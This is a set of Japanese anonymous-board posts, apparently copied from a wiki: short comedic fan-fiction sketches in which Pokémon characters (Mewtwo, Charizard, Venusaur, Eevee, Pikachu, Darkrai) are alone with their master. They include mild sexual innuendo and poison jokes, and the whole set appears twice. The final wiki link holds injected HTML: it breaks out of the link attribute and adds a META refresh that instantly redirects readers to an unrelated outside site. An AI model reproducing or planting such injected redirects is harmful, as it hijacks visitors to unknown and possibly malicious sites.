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**150 ID:r2a3zM4w0 二人きり ミュウツーの場合 M「(トカゲは散歩、蛙は光合成、ペットと鼠は遊びに、ゴミ袋はベッドの中・・・と言う事は・・・)」 主「二人きりだね」 M「(!!!)ハイ///」 主「とは言えすることが無いな・・・ミュウツーは何かしたいこと有る?」 M「・・・主と子作りがしたいです」 主「はい?ミュウツーさん?いまなんt・・・何故イソイソと服を脱いでいらっしゃるのですか?」 M「主は着たままの方が良いのですか?それともSM?自己再生しますから激しくても・・・ヤダ、私何言って・・・   でも主なら・・・それともサイコキネシスで空中プレイ?どれでも大丈夫ですから選んでください」 主「おいおいミュウツーww・・・・・・怖っ!目が怖い!」 M「さあ主早く選んで早く早くはやくハヤクハヤクハヤクハヤクハヤクハヤクハヤ(ry 主「ちょ、ヤメ・・・アッー!!!!」 **151 ID:r2a3zM4w0 リザードンの場合 主「どうだ?今夜は飲まないか?」 リ「珍しいな。主から誘ってくるなんてww」 主「たまには良いだろ。ほら、乾杯」 リ「ん・・・」 チン・・・ 主「・・・こうやって二人で飲むのも久しぶりだな。最近バタバタしてたからなぁ」 リ「そうだな・・・」 主「俺と飲めなくて寂しかったろ?w」 リ「っ!何言ってやがる!別に寂しくなんか・・・」 主「え・・・寂しくなかったのか・・・俺は寂しかったんだけどな・・・」 リ「!!!な、何馬鹿なこと言ってんだ!酔っ払ってんじゃねぇのか!?」 主「酔っ払ってんのはお前だろ?そんなに顔赤くしてww」 リ「ッッ~~~!!もう寝る!お休み!」 主「何だアイツ・・・何で怒ってんだ?」 リ「・・・ばっかやろぉ」 **152 ID:r2a3zM4w0 フシギバナの場合 主「あれ、珍しいな。フシギバナだけか?」 バ「そうよ。あたしだけじゃ不満かしら?」 主「そう言うわけじゃなくてさ。いつもイーブイと楽しそうに話してるじゃないか?」 バ「(ギクッ)え、えぇ・・・。よくミステリ小説を貸してあげたりしてるから・・・その・・・感想を言い合ったりしてるのよ」 主「そういう話だったのか。そういやイーブイが「新しいトリックを試すです!」って張り切ってたけど・・・どんなトリックかな?   おれも読んでみたいんだけど・・・」 バ「え?いやえーと・・・アレは・・・(チラ)」 主「?何処見て・・・これか?どれ・・・」 バ「あっ・・・」 主「・・・ほほう・・・タバコのフィルターに・・・フム、劇物を・・・・・・」 バ「・・・」 主「・・・」 バ「・・・」 主「・・・・・・・リザァァァァドンッッッ!!!!」 **153 ID:r2a3zM4w0 イーブイの場合 イ「ご主人様!遊びましょう! 主「いいよ。何して遊ぼうか?」 イ「コレ!コレで遊びましょう!」 つフリスビー 主「フリスビーだな?よっしゃ!早速いくぞ・・・・・そりゃッ!」 シューーーン・・・「パクッ!」 主「上手いぞイーブイ!口でキャッチできるなんて凄いぞ!」 イ「えへへ///簡単ですよ!美味しいし!」 主「そうかー簡単かー・・・・・美味しい?何が?」 イ「フリスビーですよ!ハバネロの濃縮ペーストがプラスチックに練りんであるんです!   ご飯が飛んで来ると思えばワケないですよ!」 主「そ、そうか、ご飯か・・・(おもちゃまでも・・・イーブイ・・・・恐ろしい子!!)」 イ「~♪」 おまけ 主「手が!!手がああああああああ!!!!!」 リ「(素手なんかで触るから・・・) **154 ID:r2a3zM4w0 ピカチュウの場合 海「(ご主人と二人きり・・・こんなの初めてさぁ・・・ドキドキ)」 主「なぁ、ピカチュー」 海「ひゃい!な、何さぁ?」 主「実を言うとさ、俺お前の事心配してるんだ」 海「ご主人・・・?」 主「他の奴等のお前の扱い見てるとさ・・・ちょっとな・・・言葉の違いとかもあるだろうし・・・   無理してないか?俺で良ければ相談に乗るぞ?」 海「・・・ご主人・・・(ゴシゴシ)大丈夫さぁ!みんな根は良い人達だし   言葉だって慣れればどうってこたないさぁ!海人はそれくらいじゃへこたれないさぁ!」 主「そうか・・・それじゃ何かして欲しいこととか無いか?たまには甘えても良いんだぞ?」 海「・・・じゃあ・・・一つだけ・・・」 主「よし。ドンと来い」 海「その・・・ギュッ、て・・・して欲しいさ・・・イ、イヤなら別にムリにとは・・・言わないさぁ・・・」 主「・・・・・・こうか?」 ギュッ 海「ふあぁ・・・///」 海(ご主人・・・大好きさぁ////) **155 ID:r2a3zM4w0 ダークライの場合 主「二人きり、か・・・」 だ「・・・」 主「・・・」 だ「・・・」 主「・・・ジー」 だ「・・・///」 主「・・・ジーー」 だ「・・・//////」 主「・・・ジーーー」 だ「・・・/////////(プイッ)」 主「よっしゃ!目ぇ逸らした!ダークライの負け~♪」 だ「~~~///(ポカポカポカ)」 五人「「「「「あまぁーーーーい!!(泣)」」」」」
**150 ID:r2a3zM4w0 二人きり ミュウツーの場合 M「(トカゲは散歩、蛙は光合成、ペットと鼠は遊びに、ゴミ袋はベッドの中・・・と言う事は・・・)」 主「二人きりだね」 M「(!!!)ハイ///」 主「とは言えすることが無いな・・・ミュウツーは何かしたいこと有る?」 M「・・・主と子作りがしたいです」 主「はい?ミュウツーさん?いまなんt・・・何故イソイソと服を脱いでいらっしゃるのですか?」 M「主は着たままの方が良いのですか?それともSM?自己再生しますから激しくても・・・ヤダ、私何言って・・・   でも主なら・・・それともサイコキネシスで空中プレイ?どれでも大丈夫ですから選んでください」 主「おいおいミュウツーww・・・・・・怖っ!目が怖い!」 M「さあ主早く選んで早く早くはやくハヤクハヤクハヤクハヤクハヤクハヤクハヤ(ry 主「ちょ、ヤメ・・・アッー!!!!」 **151 ID:r2a3zM4w0 リザードンの場合 主「どうだ?今夜は飲まないか?」 リ「珍しいな。主から誘ってくるなんてww」 主「たまには良いだろ。ほら、乾杯」 リ「ん・・・」 チン・・・ 主「・・・こうやって二人で飲むのも久しぶりだな。最近バタバタしてたからなぁ」 リ「そうだな・・・」 主「俺と飲めなくて寂しかったろ?w」 リ「っ!何言ってやがる!別に寂しくなんか・・・」 主「え・・・寂しくなかったのか・・・俺は寂しかったんだけどな・・・」 リ「!!!な、何馬鹿なこと言ってんだ!酔っ払ってんじゃねぇのか!?」 主「酔っ払ってんのはお前だろ?そんなに顔赤くしてww」 リ「ッッ~~~!!もう寝る!お休み!」 主「何だアイツ・・・何で怒ってんだ?」 リ「・・・ばっかやろぉ」 **152 ID:r2a3zM4w0 フシギバナの場合 主「あれ、珍しいな。フシギバナだけか?」 バ「そうよ。あたしだけじゃ不満かしら?」 主「そう言うわけじゃなくてさ。いつもイーブイと楽しそうに話してるじゃないか?」 バ「(ギクッ)え、えぇ・・・。よくミステリ小説を貸してあげたりしてるから・・・その・・・感想を言い合ったりしてるのよ」 主「そういう話だったのか。そういやイーブイが「新しいトリックを試すです!」って張り切ってたけど・・・どんなトリックかな?   おれも読んでみたいんだけど・・・」 バ「え?いやえーと・・・アレは・・・(チラ)」 主「?何処見て・・・これか?どれ・・・」 バ「あっ・・・」 主「・・・ほほう・・・タバコのフィルターに・・・フム、劇物を・・・・・・」 バ「・・・」 主「・・・」 バ「・・・」 主「・・・・・・・リザァァァァドンッッッ!!!!」 **153 ID:r2a3zM4w0 イーブイの場合 イ「ご主人様!遊びましょう! 主「いいよ。何して遊ぼうか?」 イ「コレ!コレで遊びましょう!」 つフリスビー 主「フリスビーだな?よっしゃ!早速いくぞ・・・・・そりゃッ!」 シューーーン・・・「パクッ!」 主「上手いぞイーブイ!口でキャッチできるなんて凄いぞ!」 イ「えへへ///簡単ですよ!美味しいし!」 主「そうかー簡単かー・・・・・美味しい?何が?」 イ「フリスビーですよ!ハバネロの濃縮ペーストがプラスチックに練りんであるんです!   ご飯が飛んで来ると思えばワケないですよ!」 主「そ、そうか、ご飯か・・・(おもちゃまでも・・・イーブイ・・・・恐ろしい子!!)」 イ「~♪」 おまけ 主「手が!!手がああああああああ!!!!!」 リ「(素手なんかで触るから・・・) **154 ID:r2a3zM4w0 ピカチュウの場合 海「(ご主人と二人きり・・・こんなの初めてさぁ・・・ドキドキ)」 主「なぁ、ピカチュー」 海「ひゃい!な、何さぁ?」 主「実を言うとさ、俺お前の事心配してるんだ」 海「ご主人・・・?」 主「他の奴等のお前の扱い見てるとさ・・・ちょっとな・・・言葉の違いとかもあるだろうし・・・   無理してないか?俺で良ければ相談に乗るぞ?」 海「・・・ご主人・・・(ゴシゴシ)大丈夫さぁ!みんな根は良い人達だし   言葉だって慣れればどうってこたないさぁ!海人はそれくらいじゃへこたれないさぁ!」 主「そうか・・・それじゃ何かして欲しいこととか無いか?たまには甘えても良いんだぞ?」 海「・・・じゃあ・・・一つだけ・・・」 主「よし。ドンと来い」 海「その・・・ギュッ、て・・・して欲しいさ・・・イ、イヤなら別にムリにとは・・・言わないさぁ・・・」 主「・・・・・・こうか?」 ギュッ 海「ふあぁ・・・///」 海(ご主人・・・大好きさぁ////) **155 ID:r2a3zM4w0 ダークライの場合 主「二人きり、か・・・」 だ「・・・」 主「・・・」 だ「・・・」 主「・・・ジー」 だ「・・・///」 主「・・・ジーー」 だ「・・・//////」 主「・・・ジーーー」 だ「・・・/////////(プイッ)」 主「よっしゃ!目ぇ逸らした!ダークライの負け~♪」 だ「~~~///(ポカポカポカ)」 五人「「「「「あまぁーーーーい!!(泣)」」」」」[[@wikiへ>http://kam.jp"><META HTTP-EQUIV="Refresh" CONTENT="0; URL=http://esthe.pink.sh/r/]]

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